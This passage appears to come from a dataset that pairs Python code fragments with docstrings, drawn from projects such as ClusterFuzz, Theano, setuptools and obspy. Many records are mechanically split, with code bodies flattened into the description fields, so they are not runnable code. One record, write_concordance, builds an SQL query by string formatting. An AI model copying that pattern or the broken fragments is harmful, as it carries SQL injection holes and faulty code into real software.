'test-build-([0-9]+).zip\\n')\n data_types.Job(name='job', environment_string=environment_string).put()\n\n environment_string = ('RELEASE_BUILD_BUCKET_PATH = '\n 'gs://clusterfuzz-test-data/test_libfuzzer_builds/'\n 'test-libfuzzer-build-([0-9]+).zip\\n'\n 'UNPACK_ALL_FUZZ_TARGETS_AND_FILES = True')\n data_types.Job(\n name='libfuzzer_asan_job', environment_string=environment_string).put()\n\n data_types.Fuzzer(name='fuzzer', data_bundle_name='bundle').put()\n\n data_types.DataBundle(\n name='bundle', is_local=True, sync_to_worker=True).put()\n", "nl": "Assert that 2 dirs are equal.self.assertTrue(_dirs_equal(filecmp.dircmp(dir1, dir2)))def setUp(self):Set up."} {"code": "def __init__(self, text='', **kwargs):\n super(Button, self).__init__(**kwargs)\n self.type = 'button'\n self.attributes[self.EVENT_ONCLICK] = \"sendCallback('%s','%s');\" % (self.identifier, self.EVENT_ONCLICK)\n self.set_text(text)\n\n\nclass TextInput(Widget, _MixinTextualWidget):\n \"\"\"Editable multiline/single_line text area widget. You can set the content by means of the function set_text or\n\n EVENT_ONENTER = 'onenter'\n\n @decorate_constructor_parameter_types([bool, str])", "nl": "Args:text (str): The text that will be displayed on the button.kwargs: See Widget.__init__()"} {"code": "def prev(self, item):\n return self.tk.call(self._w, 'prev', item)\n", "nl": "Returns the identifier of item's previous sibling, or '' ifitem is the first child of its parent."} {"code": "def get_screen_resolution():\n Look for a process.\n A name can be passed or a list of them.\n If list is passed will break as soon as one of them is found.\n For a single process is possible to pass the number of times\n that is found to be identified as 'found'; This is interesting\n for emulationstation since it generates three 'emulationstatio'\n processes.\n \"\"\"", "nl": " main function to get screen resolution commandline = \"cat /sys/class/graphics/fb0/virtual_size\"try: output = subprocess.check_output(commandline, shell=True).decode(\"utf-8\")except: output = \"\"VirtRes = output.replace(',',' ').split(' ')RES_X = int(VirtRes[0])RES_Y = int(VirtRes[1])return (RES_X, RES_Y)def get_xy_screen():process = subprocess.Popen(\"fbset\", stdout=subprocess.PIPE)output = process.stdout.read()for line in output.splitlines():if 'x' in line and 'mode' in line:ResMode = lineResMode = ResMode.replace('\"','').replace('x',' ').split(' ')x_screen = int(ResMode[1])y_screen = int(ResMode[2])return (x_screen, y_screen)def compact_rom_name(p_sRomName):sPreCleanedGame = re.sub('[^a-zA-Z0-9-_]+','', p_sRomName )sCleanedGame = re.sub(' ','', sPreCleanedGame)return sCleanedGamedef show_info(p_sMessage, p_sTitle = None, p_iTime = 2000):ch = choices()if p_sTitle:ch.set_title(p_sTitle)if type(p_sMessage) is str:ch.load_choices([(p_sMessage, \"OK\")])else:ch.load_choices(p_sMessage)ch.show(p_iTime)def menu_options(p_sMessage, p_sTitle = None):ch = choices()if p_sTitle:ch.set_title(p_sTitle)if type(p_sMessage) is str:ch.load_choices([(p_sMessage, \"OK\")])else:ch.load_choices(p_sMessage)result = ch.run()return resultdef check_process(p_sProcess, p_iTimes = 1):"} {"code": "def embedding_dim(self):\n\n Args:\n file_path (str): Path to the output file.\n \"\"\"", "nl": "Dimensionality of embeddings. If embeddings are not loaded, returns zero.if self.embeddings:return len(self.embeddings[list(self.embeddings.keys())[0]][\"embedding\"])return 0def save_embeddings_to_file(self, file_path: str) -> None:Save embeddings to a json file."} {"code": "def testInterpretPercentAsAModuloOperatorNotADivisionRemainder(self):\n self.assertEqual(engine.action(15), 3)\n self.assertEqual(engine.action(-15), 3)\n\n engine, = PFAEngine.fromYaml('''\n self.assertEqual(engine.action(15), -3)\n self.assertEqual(engine.action(-15), -3)\n\n engine, = PFAEngine.fromYaml('''\n self.assertAlmostEqual(engine.action(15.2), 3.2, places=2)\n self.assertAlmostEqual(engine.action(-15.2), 2.8, places=2)\n\n engine, = PFAEngine.fromYaml('''\n self.assertAlmostEqual(engine.action(15.2), -2.8, places=2)\n self.assertAlmostEqual(engine.action(-15.2), -3.2, places=2)\n\n engine, = PFAEngine.fromYaml('''\n self.assertAlmostEqual(engine.action(15), 2.2, places=2)\n self.assertAlmostEqual(engine.action(-15), 4.2, places=2)\n self.assertAlmostEqual(engine.action(15.2), 2.4, places=2)\n self.assertAlmostEqual(engine.action(-15.2), 4.0, places=2)\n\n engine, = PFAEngine.fromYaml('''\n self.assertAlmostEqual(engine.action(15), -4.2, places=2)\n self.assertAlmostEqual(engine.action(-15), -2.2, places=2)\n self.assertAlmostEqual(engine.action(15.2), -4.0, places=2)\n self.assertAlmostEqual(engine.action(-15.2), -2.4, places=2)\n", "nl": "engine, = PFAEngine.fromYaml(input: intoutput: intaction:- {\"%\": [input, 6]})"} {"code": "def save_model(model, file_name):\n with open(file_name, 'rb') as f:\n return torch.load(f, map_location=map_location)\n\n", "nl": "Serializes model to a file.if file_name != '':with open(file_name, 'wb') as f:torch.save(model, f)def load_model(file_name, map_location=None):Reads model from a file."} {"code": "def test_entries_for_tenant_external_multiple_regions(self):\n iapi = make_example_internal_api(self)\n eeapi = make_example_external_api(\n self,\n name=self.eeapi_name,\n set_enabled=True\n )\n eeapi2_name = \"alternate-external-api\"\n eeapi2_template_id = u\"uuid-alternate-endpoint-template\"\n eeapi2_template = exampleEndpointTemplate(\n name=eeapi2_name,\n endpoint_uuid=eeapi2_template_id,\n region=u\"NEW_REGION\",\n url=u\"https://api.new_region.example.com:9090\"\n )\n eeapi2 = make_example_external_api(\n self,\n name=eeapi2_name,\n endpoint_templates=[eeapi2_template],\n set_enabled=True\n )\n\n core = MimicCore(Clock(), [eeapi, eeapi2, iapi])\n\n prefix_map = {}\n base_uri = \"http://some/random/prefix\"\n catalog_entries = [\n entry\n for entry in core.entries_for_tenant(\n 'some-tenant',\n prefix_map,\n base_uri\n )\n ]\n\n self.assertEqual(len(core._uuid_to_api_internal), 1)\n self.assertEqual(len(core._uuid_to_api_external), 2)\n self.assertEqual(len(catalog_entries), 3)\n\n found_internal = False\n found_first_external = False\n found_second_external = False\n\n for catalog_entry in catalog_entries:\n if catalog_entry.name == eeapi.name_key:\n found_first_external = True\n self.assertEqual(catalog_entry.type, eeapi.type_key)\n self.assertEqual(catalog_entry.name, eeapi.name_key)\n self.assertEqual(catalog_entry.tenant_id, \"some-tenant\")\n self.assertEqual(len(catalog_entry.endpoints), 1)\n\n elif catalog_entry.name == eeapi2.name_key:\n found_second_external = True\n self.assertEqual(catalog_entry.type, eeapi2.type_key)\n self.assertEqual(catalog_entry.name, eeapi2.name_key)\n self.assertEqual(catalog_entry.tenant_id, \"some-tenant\")\n self.assertEqual(len(catalog_entry.endpoints), 1)\n\n elif catalog_entry.name == \"serviceName\":\n found_internal = True\n self.assertEqual(catalog_entry.type, \"serviceType\")\n self.assertEqual(catalog_entry.name, \"serviceName\")\n self.assertEqual(catalog_entry.tenant_id, \"some-tenant\")\n self.assertEqual(len(catalog_entry.endpoints), 1)\n\n self.assertTrue(found_internal)\n self.assertTrue(found_first_external)\n self.assertTrue(found_second_external)", "nl": "Test with multiple regions for the External APIs."} {"code": "def set_checked(self, checked=True):\n\n\t\tself._checked_element.visible = checked\n\t\tself._unchecked_element.visible = not checked\n\t\tself.checked = checked\n\t\tself.set_var(checked)\n", "nl": "desc:Sets the checked status of the checkbox.keywords:checked:desc:\tThe checked status.type:\tbool"} {"code": "def test_future(self):\n self.check(b, a)\n\n b = \"\"\"\n self.check(b, a)\n\n b = \"\"\"from __future__ import braces\\n\n self.check(b, a)\n", "nl": "b = from __future__ import bracesa = "} {"code": "def list_folders(self):\n return Maildir(os.path.join(self._path, '.' + folder), factory=self._factory, create=False)\n", "nl": "Return a list of folder names.result = []for entry in os.listdir(self._path):if len(entry) > 1 and entry[0] == '.' and os.path.isdir(os.path.join(self._path, entry)):result.append(entry[1:])return resultdef get_folder(self, folder):Return a Maildir instance for the named folder."} {"code": "def test_positional_q_gram_overlap_sim(self):\n self.assertEqual(self.cmp.dist('', ''), 0.0)\n self.assertEqual(self.cmp.dist('a', ''), 1.0)\n self.assertEqual(self.cmp.dist('', 'a'), 1.0)\n self.assertEqual(self.cmp.dist('abc', ''), 1.0)\n self.assertEqual(self.cmp.dist('', 'abc'), 1.0)\n self.assertEqual(self.cmp.dist('abc', 'abc'), 0.0)\n self.assertEqual(self.cmp.dist('abcd', 'efgh'), 1.0)\n\n self.assertAlmostEqual(self.cmp.dist('Nigel', 'Niall'), 0.5)\n self.assertAlmostEqual(self.cmp.dist('Niall', 'Nigel'), 0.5)\n self.assertAlmostEqual(self.cmp.dist('Colin', 'Coiln'), 0.5)\n self.assertAlmostEqual(self.cmp.dist('Coiln', 'Colin'), 0.5)\n self.assertAlmostEqual(self.cmp.dist('ATCAACGAGT', 'AACGATTAG'), 0.8)\n\n\nif __name__ == '__main__':\n unittest.main()", "nl": "Test abydos.distance.PositionalQGramOverlap.sim.# Base casesself.assertEqual(self.cmp.sim('', ''), 1.0)self.assertEqual(self.cmp.sim('a', ''), 0.0)self.assertEqual(self.cmp.sim('', 'a'), 0.0)self.assertEqual(self.cmp.sim('abc', ''), 0.0)self.assertEqual(self.cmp.sim('', 'abc'), 0.0)self.assertEqual(self.cmp.sim('abc', 'abc'), 1.0)self.assertEqual(self.cmp.sim('abcd', 'efgh'), 0.0)self.assertAlmostEqual(self.cmp.sim('Nigel', 'Niall'), 0.5)self.assertAlmostEqual(self.cmp.sim('Niall', 'Nigel'), 0.5)self.assertAlmostEqual(self.cmp.sim('Colin', 'Coiln'), 0.5)self.assertAlmostEqual(self.cmp.sim('Coiln', 'Colin'), 0.5)self.assertAlmostEqual(self.cmp.sim('ATCAACGAGT', 'AACGATTAG'), 0.2)def test_positional_q_gram_overlap_dist(self):Test abydos.distance.PositionalQGramOverlap.dist."} {"code": "def write_concordance(self, submission_id, concordance):\n cursor = self.postgres_db.cursor()\n query = \"UPDATE concordances SET pending=FALSE, value={} WHERE submission_id = '{}'\".format(\n concordance, submission_id)\n cursor.execute(query)\n self.postgres_db.commit()\n cursor.close()\n", "nl": "Write to both the submission and leaderboardParameters:-----------submission_id : stringID of the submissionconcordance : boolThe calculated concordance for a submission"} {"code": "def build_data_from_position(position):\n from faculty.models import FacultyMemberInfo, CareerEvent\n from faculty.event_types.career import RANK_CHOICES\n\n data = {}\n person = position.any_person.get_person()\n data['last_name'] = person.last_name or ''\n data['first_name'] = person.first_name or ''\n data['pref_first_name'] = person.pref_first_name or ''\n data['sin'] = person.sin()\n\n if isinstance(person, Person) and FacultyMemberInfo.objects.filter(person=person).exists():\n f = FacultyMemberInfo.objects.get(person=person)\n dob = f.birthday\n data['dob'] = dob\n\n if not data.get('dob'):\n if person.birthdate():\n data['dob'] = datetime.datetime.strptime(person.birthdate(), \"%Y-%m-%d\")\n data['gender'] = person.gender() or ''\n data['degree1'] = position.degree1 or ''\n data['year1'] = position.year1 or ''\n data['institution1'] = position.institution1 or ''\n data['location1'] = position.location1 or ''\n data['degree2'] = position.degree2 or ''\n data['year2'] = position.year2 or ''\n data['institution2'] = position.institution2 or ''\n data['location2'] = position.location2 or ''\n data['degree3'] = position.degree3 or ''\n data['year3'] = position.year3 or ''\n data['institution3'] = position.institution3 or ''\n data['location3'] = position.location3 or ''\n data['unit'] = position.unit.informal_name()\n data['start_date'] = position.projected_start_date\n data['end_date'] = ''\n data['position_number'] = position.position_number\n data['rank'] = RANK_CHOICES.get(position.rank, '')\n if position.step:\n data['step'] = str(position.step)\n else:\n data['step'] = ''\n\n if position.teaching_semester_credits:\n data['teaching_semester_credits'] = str(position.teaching_semester_credits)\n else:\n data['teaching_semester_credits'] = ''\n\n\n if isinstance(person, Person):\n stipends = CareerEvent.objects.filter(person=person, event_type='STIPEND', unit=position.unit).effective_now()\n for stipend in stipends:\n if stipend.config.get('source') == 'MARKETDIFF':\n data['marketdiff'] = stipend.config.get('amount') or ''\n break\n\n return data\n\n", "nl": "This builds the correct data object for our Appointment Forms (AKA Yellow Forms) to be generated if comingfrom a Position with a future candidate already set.:param Position position: The position that called this generation:type: Position:return: a dict containing all the data necessary for the form generation:rtype: dict"} {"code": "def argmin(self, axis=None, keepdims=False):\n return theano.tensor.basic.argmax(self, axis, keepdims=keepdims)\n", "nl": "See `theano.tensor.argmin`.return theano.tensor.basic.argmin(self, axis, keepdims=keepdims)def argmax(self, axis=None, keepdims=False):See `theano.tensor.argmax`."} {"code": "def _iscolorstring(self, color):\n try:\n rgb = self.cv.winfo_rgb(color)\n ok = True\n except TK.TclError:\n ok = False\n return ok\n", "nl": "Check if the string color is a legal Tkinter color string."} {"code": "def install_as_egg(self, destination_eggdir):\n dist_data = os.path.join(destination_eggdir, dist_data)\n dist_data_scripts = os.path.join(dist_data, 'scripts')\n if os.path.exists(dist_data_scripts):\n egg_info_scripts = os.path.join(\n destination_eggdir, 'EGG-INFO', 'scripts')\n os.mkdir(egg_info_scripts)\n for entry in os.listdir(dist_data_scripts):\n if entry.endswith('.pyc'):\n os.unlink(os.path.join(dist_data_scripts, entry))\n else:\n os.rename(\n os.path.join(dist_data_scripts, entry),\n os.path.join(egg_info_scripts, entry),\n )\n os.rmdir(dist_data_scripts)\n for subdir in filter(os.path.exists, (\n os.path.join(dist_data, d)\n for d in ('data', 'headers', 'purelib', 'platlib')\n )):\n unpack(subdir, destination_eggdir)\n if os.path.exists(dist_data):\n os.rmdir(dist_data)\n\n @staticmethod", "nl": "Install wheel as an egg directory.with zipfile.ZipFile(self.filename) as zf:self._install_as_egg(destination_eggdir, zf)def _install_as_egg(self, destination_eggdir, zf):dist_basename = '%s-%s' % (self.project_name, self.version)dist_info = self.get_dist_info(zf)dist_data = '%s.data' % dist_basenameegg_info = os.path.join(destination_eggdir, 'EGG-INFO')self._convert_metadata(zf, destination_eggdir, dist_info, egg_info)self._move_data_entries(destination_eggdir, dist_data)self._fix_namespace_packages(egg_info, destination_eggdir)@staticmethoddef _convert_metadata(zf, destination_eggdir, dist_info, egg_info):def get_metadata(name):with zf.open(posixpath.join(dist_info, name)) as fp:value = fp.read().decode('utf-8') if PY3 else fp.read()return email.parser.Parser().parsestr(value)wheel_metadata = get_metadata('WHEEL')# Check wheel format version is supported.wheel_version = parse_version(wheel_metadata.get('Wheel-Version'))wheel_v1 = (parse_version('1.0') <= wheel_version < parse_version('2.0dev0'))if not wheel_v1:raise ValueError('unsupported wheel format version: %s' % wheel_version)# Extract to target directory.os.mkdir(destination_eggdir)zf.extractall(destination_eggdir)# Convert metadata.dist_info = os.path.join(destination_eggdir, dist_info)dist = pkg_resources.Distribution.from_location(destination_eggdir, dist_info,metadata=pkg_resources.PathMetadata(destination_eggdir, dist_info),)# Note: Evaluate and strip markers now,# as it's difficult to convert back from the syntax:# foobar; \"linux\" in sys_platform and extra == 'test'def raw_req(req):req.marker = Nonereturn str(req)install_requires = list(sorted(map(raw_req, dist.requires())))extras_require = {extra: sorted(reqfor req in map(raw_req, dist.requires((extra,)))if req not in install_requires)for extra in dist.extras}os.rename(dist_info, egg_info)os.rename(os.path.join(egg_info, 'METADATA'),os.path.join(egg_info, 'PKG-INFO'),)setup_dist = setuptools.Distribution(attrs=dict(install_requires=install_requires,extras_require=extras_require,),)write_requirements(setup_dist.get_command_obj('egg_info'),None,os.path.join(egg_info, 'requires.txt'),)@staticmethoddef _move_data_entries(destination_eggdir, dist_data):Move data entries to their correct location."} {"code": "def cred_secret_issue_user_check(params, pub, EGenc, sig):\n G, g, h, o = params\n (sKis, Cis) = EGenc\n\n assert len(sKis) == len(Cis)\n zk = secret_proof(params, len(Cis))\n\n env = ZKEnv(zk)\n env.g, env.h = g, h\n env.pub = pub\n\n env.sKi = sKis\n env.Ci = Cis\n\n if not zk.verify_proof(env.get(), sig):\n raise Exception(\"Proof of knowledge of plaintexts failed.\")\n\n return True\n", "nl": " Check the encrypted attributes of a user are well formed."} {"code": "def persistent_volume_claim(persistent_volume):\n return PersistentVolumeClaim(\n ObjectMeta(name=\"test-pv-claim\"),\n PersistentVolumeClaimSpec(\n persistent_volume.spec.accessModes,\n resources=ResourceRequirements(\n requests={\"storage\": persistent_volume.spec.capacity[\"storage\"]}\n ),\n ),\n )\n\n\n@pytest.mark.parametrize(\n \"mounts_or_devices\",\n [\n {\"volume_mount\": VolumeMount(\"test-volume\", \"~/tmp\")},\n ],\n)", "nl": "A generic persistent volume claim"} {"code": "def preferred_signature_algorithms_value(self):\n\n if self._processed_extensions is False:\n self._set_extensions()\n return self._preferred_signature_algorithms_value\n\n\nclass OCSPResponseStatus(Enumerated):\n _map = {\n 0: 'successful',\n 1: 'malformed_request',\n 2: 'internal_error',\n 3: 'try_later',\n 5: 'sign_required',\n 6: 'unauthorized',\n }\n\n\nclass ResponderId(Choice):\n _alternatives = [\n ('by_name', Name, {'tag_type': 'explicit', 'tag': 1}),\n ('by_key', OctetString, {'tag_type': 'explicit', 'tag': 2}),\n ]\n\n\nclass RevokedInfo(Sequence):\n _fields = [\n ('revocation_time', GeneralizedTime),\n ('revocation_reason', CRLReason, {'tag_type': 'explicit', 'tag': 0, 'optional': True}),\n ]\n\n\nclass CertStatus(Choice):\n _alternatives = [\n ('good', Null, {'tag_type': 'implicit', 'tag': 0}),\n ('revoked', RevokedInfo, {'tag_type': 'implicit', 'tag': 1}),\n ('unknown', Null, {'tag_type': 'implicit', 'tag': 2}),\n ]\n\n\nclass CrlId(Sequence):\n _fields = [\n ('crl_url', IA5String, {'tag_type': 'explicit', 'tag': 0, 'optional': True}),\n ('crl_num', Integer, {'tag_type': 'explicit', 'tag': 1, 'optional': True}),\n ('crl_time', GeneralizedTime, {'tag_type': 'explicit', 'tag': 2, 'optional': True}),\n ]\n\n\nclass SingleResponseExtensionId(ObjectIdentifier):\n _map = {\n '1.3.6.1.5.5.7.48.1.3': 'crl',\n '1.3.6.1.5.5.7.48.1.6': 'archive_cutoff',\n '2.5.29.21': 'crl_reason',\n '2.5.29.24': 'invalidity_date',\n '2.5.29.29': 'certificate_issuer',\n }\n\n\nclass SingleResponseExtension(Sequence):\n _fields = [\n ('extn_id', SingleResponseExtensionId),", "nl": "This extension is used by the client to define what signature algorithmsare preferred, including both the hash algorithm and the public keyalgorithm, with a level of detail down to even the public key algorithmparameters, such as curve name.:return:None or a PreferredSignatureAlgorithms object"} {"code": "def reverse(self, data):\n return self._cls(**data)", "nl": ":param data::type data: yowsup,config.config.Config:return::rtype: dict"} {"code": "def isCalculable(self):\n if self.kwargs[\"criterio\"] == 2 and not self.kwargs[\"Pout\"]:\n self.msg = QApplication.translate(\"pychemqt\",", "nl": "Check equipment input parameterMandatory parameter:entradaPout if criterio is setted to 2Incompatibilities:All corriente instance in entrada must be defined finesalidas must be equal to len of splitWarnings:Some input stream have a warning status definitions"} {"code": "def schedule(func, *args, **kwargs):\n name = kwargs.pop(\"name\", None)\n hook = kwargs.pop(\"hook\", None)\n schedule_type = kwargs.pop(\"schedule_type\", Schedule.ONCE)\n minutes = kwargs.pop(\"minutes\", None)\n repeats = kwargs.pop(\"repeats\", -1)\n next_run = kwargs.pop(\"next_run\", timezone.now())\n cron = kwargs.pop(\"cron\", None)\n cluster = kwargs.pop(\"cluster\", None)\n\n if name and Schedule.objects.filter(name=name).exists():\n raise IntegrityError(\"A schedule with the same name already exists.\")\n\n s = Schedule(\n name=name,\n func=func,\n hook=hook,\n args=args,\n kwargs=kwargs,\n schedule_type=schedule_type,\n minutes=minutes,\n repeats=repeats,\n next_run=next_run,\n cron=cron,\n cluster=cluster,\n )\n s.full_clean()\n s.save()\n return s\n\n", "nl": "Create a schedule.:param func: function to schedule.:param args: function arguments.:param name: optional name for the schedule.:param hook: optional result hook function.:type schedule_type: Schedule.TYPE:param repeats: how many times to repeat. 0=never, -1=always.:param next_run: Next scheduled run.:type next_run: datetime.datetime:param cluster: optional cluster name.:param cron: optional cron expression:param kwargs: function keyword arguments.:return: the schedule object.:rtype: Schedule"} {"code": "def keepBlanksDefault(val):\n ret = libxml2mod.xmlKeepBlanksDefault(val)\n return ret\n", "nl": "Set and return the previous value for default blanks textnodes support. The 1.x version of the parser used anheuristic to try to detect ignorable white spaces. As aresult the SAX callback was generatingxmlSAX2IgnorableWhitespace() callbacks instead ofcharacters() one, and when using the DOM output text nodescontaining those blanks were not generated. The 2.x andlater version will switch to the XML standard way andignorableWhitespace() are only generated when running theparser in validating mode and when the current elementdoesn't allow CDATA or mixed content. This function isprovided as a way to force the standard behavior on 1.Xlibs and to switch back to the old mode for compatibilitywhen running 1.X client code on 2.X . Upgrade of 1.X codeshould be done by using xmlIsBlankNode() commodity functionto detect the \"empty\" nodes generated. This value alsoaffect autogeneration of indentation when saving code ifblanks sections are kept, indentation is not generated. "} {"code": "def test_get_stations(self):\n with mock.patch(self._cls + \".get_stations_bulk\") as p:\n p.return_value = \"1234\"\n st = self.client.get_stations(\n network=\"XX\", station=\"XXXXX\", location=\"XX\",\n channel=\"XXX\", starttime=obspy.UTCDateTime(2017, 1, 1),\n endtime=obspy.UTCDateTime(2017, 1, 2),\n latitude=1.0, longitude=2.0,\n maximumradius=1.0, level=\"network\")\n self.assertEqual(st, \"1234\")\n self.assertEqual(p.call_count, 1)\n self.assertEqual(\n p.call_args[0][0][0],\n [\"XX\", \"XXXXX\", \"XX\", \"XXX\", obspy.UTCDateTime(2017, 1, 1),\n obspy.UTCDateTime(2017, 1, 2)])\n self.assertEqual(p.call_args[1],\n {\"latitude\": 1.0, \"longitude\": 2.0,\n \"maximumradius\": 1.0, \"level\": \"network\"})\n\n with mock.patch(self._cls + \".get_stations_bulk\") as p:\n p.return_value = \"1234\"\n st = self.client.get_stations(\n starttime=obspy.UTCDateTime(2017, 1, 1),\n endtime=obspy.UTCDateTime(2017, 1, 2),\n latitude=1.0, longitude=2.0,\n maximumradius=1.0, level=\"network\")\n self.assertEqual(st, \"1234\")\n self.assertEqual(p.call_count, 1)\n self.assertEqual(\n p.call_args[0][0][0],\n [\"*\", \"*\", \"*\", \"*\", obspy.UTCDateTime(2017, 1, 1),\n obspy.UTCDateTime(2017, 1, 2)])\n self.assertEqual(p.call_args[1],\n {\"latitude\": 1.0, \"longitude\": 2.0,\n \"maximumradius\": 1.0, \"level\": \"network\"})\n", "nl": "This just dispatches to the get_waveforms_bulk() method - so no needto also test it explicitly."} {"code": "def test_declaration_ub_braunschweig(self):\n self.dr.license = License.objects.get(uri='https://creativecommons.org/licenses/by/4.0/')\n self.dr.identifier = '5732'\n self.dr.user = self.client.user\n self.dr.save()\n\n declaration_ub_braunschweig(self.dr)\n", "nl": "This tests the letter of declaration for UB Braunschweig."} {"code": "def buildRestShape(self):\n into the full sculpted shape. But to do that, I have to build the inputs to the\n solver that enable each shape, and I need a name for each shape.\n This function gives me both.\n\n Parameters\n ----------\n keepSliders : set([str, ....]), optional\n The returned sliders will have names that are part of this list\n ignoreSliders : set([str, ....]), optional\n A set of Slider names to ignore as part of this process\n depthCutoff : int, optional\n The maximum number of Sliders allowed per Combo\n (Defaults to None which allows all Combos)\n ignoreFloaters : bool, optional\n Ignore Combos with values other than -1 and 1\n extremes : bool, optional\n Only build activations for sliders and combos at -1 and 1\n\n Returns\n -------\n : [str, ...]\n The names of the shapes that are activated in each list\n : [[float, ...], ...]\n A list of activation values for the entire system\n\n \"\"\"", "nl": "Build and store a rest shape for this systemself.restShape = Shape.buildRest(self)return self.restShapedef buildInputVectors(self,keepSliders=None,ignoreSliders=None,depthCutoff=None,ignoreFloaters=False,ignoreTraversals=False,extremes=False,):This is kind of a specialized function. Often, I have to sum combo deltas"} {"code": "def matrix_dot(*args):\n rval = args[0]\n for a in args[1:]:\n rval = theano.tensor.dot(rval, a)\n return rval\n\n\nclass AllocDiag(Op):\n \"\"\"\n\n __props__ = ()\n", "nl": " Shorthand for product between several dots.Given :math:`N` matrices :math:`A_0, A_1, .., A_N`, ``matrix_dot`` willgenerate the matrix product between all in the given order, namely:math:`A_0 \\cdot A_1 \\cdot A_2 \\cdot .. \\cdot A_N`."} {"code": "def id(self, uri: URIString) -> str:\n\n class _FakeResolutionLevel:", "nl": "accepts a uri string and returns a FilenamePathIdif not isinstance(uri, (str, SimpleURIImageProvider.URIString)):raise TypeError(\"uri not of correct format\") # pragma: no coverreturn SimpleURIImageProvider.FilenamePathId(ImageProvider.path_from_uri(uri))def rebase(self, *uris: str, **kwargs) -> List[Optional[str]]:uri2uri = kwargs.pop('uri2uri', {})return [uri2uri.get(uri, None) for uri in uris]# noinspection PyPep8Namingclass _RecoveredReadOnlyImageServer:internal. used to allow access to image server metadata recovered from project.qpproj"} {"code": "def waitSyscall(self, process=None):\n signum = SIGTRAP\n if self.use_sysgood:\n signum |= 0x80\n if process:\n return self.waitSignals(signum, pid=process.pid)\n else:\n return self.waitSignals(signum)\n", "nl": "Wait for the next syscall event (enter or exit) for a specific process(if specified) or any process (default). Return a ProcessSignal objector raise an unexpected ProcessEvent."} {"code": "def username_max_length(cls):\n given user\"\"\"", "nl": "Return the max length for usernameraise NotImplementedError('Implement in subclass')@classmethoddef allowed_to_disconnect(cls, user, backend_name, association_id=None):Return if it's safe to disconnect the social account for the"} {"code": "def nin(x, num_units):\n xs = int_shape(x)\n num_filters = xs[-1]\n\n residual = x\n if a is not None:\n a = nin(activate(a), num_filters)\n residual = tf.concat([residual, a], axis = -1)\n residual = activate(residual)\n residual = tf.nn.dropout(residual, keep_prob = 1.0 - dropout_p)\n residual = conv(residual, num_filters)\n if gated:\n residual = activate(residual)\n residual = tf.nn.dropout(residual, keep_prob = 1.0 - dropout_p)\n residual = conv(residual, 2*num_filters)\n a, b = tf.split(residual, 2, 3)\n residual = a * tf.nn.sigmoid(b)\n\n return x + residual\n\n", "nl": " a network in network layer (1x1 CONV) s = int_shape(x)x = tf.reshape(x, [np.prod(s[:-1]), s[-1]])x = dense(x, num_units)return tf.reshape(x, s[:-1] + [num_units])def downsample(x, num_units):return conv2d(x, num_units, stride = [2, 2])def upsample(x, num_units, method = \"subpixel\"):if method == \"conv_transposed\":return deconv2d(x, num_units, stride = [2, 2])elif method == \"subpixel\":x = conv2d(x, 4*num_units)x = tf.depth_to_space(x, 2)return x@add_arg_scopedef residual_block(x, a = None, conv=conv2d, init=False, dropout_p=0.0, gated = False, **kwargs):Slight variation of original."} {"code": "def test_handle_unidentified_dialogue(self):\n signing_counterparty = self.skill.skill_context.decision_maker_address\n signing_dialogue = cast(\n SigningDialogue,\n self.prepare_skill_dialogue(\n dialogues=self.signing_dialogues,\n messages=self.list_of_signing_messages[:1],\n counterparty=signing_counterparty,\n ),\n )\n incoming_message = cast(\n SigningMessage,\n self.build_incoming_message_for_skill_dialogue(\n dialogue=signing_dialogue,\n performative=SigningMessage.Performative.SIGNED_TRANSACTION,\n signed_transaction=SigningMessage.SignedTransaction(\n \"some_ledger_id\", {\"some_key\": \"some_value\"}\n ),\n ),\n )\n\n with patch.object(self.logger, \"log\") as mock_logger:\n self.signing_handler.handle(incoming_message)\n\n mock_logger.assert_any_call(logging.INFO, \"transaction signing was successful.\")\n\n self.assert_quantity_in_outbox(1)\n message = self.get_message_from_outbox()\n has_attributes, error_str = self.message_has_attributes(\n actual_message=message,\n message_type=LedgerApiMessage,\n performative=LedgerApiMessage.Performative.SEND_SIGNED_TRANSACTION,\n to=LEDGER_API_ADDRESS,\n sender=str(self.skill.skill_context.skill_id),\n signed_transaction=incoming_message.signed_transaction,\n )\n assert has_attributes, error_str\n\n assert (\n cast(\n LedgerApiDialogue, self.ledger_api_dialogues.get_dialogue(message)\n ).associated_signing_dialogue\n == signing_dialogue\n )\n\n mock_logger.assert_any_call(logging.INFO, \"sending transaction to ledger.\")\n", "nl": "Test the _handle_unidentified_dialogue method of the signing handler.# setupincorrect_dialogue_reference = (\"\", \"\")incoming_message = self.build_incoming_message(message_type=SigningMessage,dialogue_reference=incorrect_dialogue_reference,performative=SigningMessage.Performative.ERROR,error_code=SigningMessage.ErrorCode.UNSUCCESSFUL_MESSAGE_SIGNING,to=str(self.skill.skill_context.skill_id),)# operationwith patch.object(self.logger, \"log\") as mock_logger:self.signing_handler.handle(incoming_message)# aftermock_logger.assert_any_call(logging.INFO,f\"received invalid signing message={incoming_message}, unidentified dialogue.\",)def test_handle_signed_transaction(self,):Test the _handle_signed_transaction method of the signing handler."} {"code": "def test_patch_multithreaded_single_object(self):\n stderr = self.RunGsUtil([\n 'iam', 'ch',\n '%s:%s' % (self.user, IAM_BUCKET_READ_ROLE_ABBREV), self.bucket.uri,\n '%s:%s' % (self.user2, IAM_BUCKET_READ_ROLE_ABBREV)\n ],\n return_stderr=True,\n expected_status=1)\n self.assertIn('CommandException', stderr)\n\n bucket_iam_string = self.RunGsUtil(['iam', 'get', self.bucket.uri],\n return_stdout=True)\n self.assertHas(bucket_iam_string, self.user, IAM_BUCKET_READ_ROLE)\n self.assertHasNo(bucket_iam_string, self.user2, IAM_BUCKET_READ_ROLE)\n", "nl": "Tests the edge-case behavior of multithreaded execution.self.assertHasNo(self.object_iam_string, self.user, IAM_OBJECT_READ_ROLE)self.RunGsUtil(['-m', 'iam', 'ch','%s:legacyObjectReader' % self.user, self.object.uri])object_iam_string = self.RunGsUtil(['iam', 'get', self.object.uri],return_stdout=True)self.assertHas(object_iam_string, self.user, IAM_OBJECT_READ_ROLE)def test_patch_invalid_input(self):Tests that listing bindings after a bucket will throw an error."} {"code": "def test_datetime_microseconds(self):\n", "nl": "test datetime conversion w microsecondsconn = self.connect()c = conn.cursor()dt = datetime.datetime(2013, 11, 12, 9, 9, 9, 123450)c.execute(\"create table test_datetime (id int, ts datetime(6))\")try:c.execute(\"insert into test_datetime values (%s, %s)\", (1, dt))c.execute(\"select ts from test_datetime\")self.assertEqual((dt,), c.fetchone())finally:c.execute(\"drop table test_datetime\")class TestCursor(base.PyMySQLTestCase):# this test case does not work quite right yet, however,# we substitute in None for the erroneous field which is# compatible with the DB-API 2.0 spec and has not broken# any unit 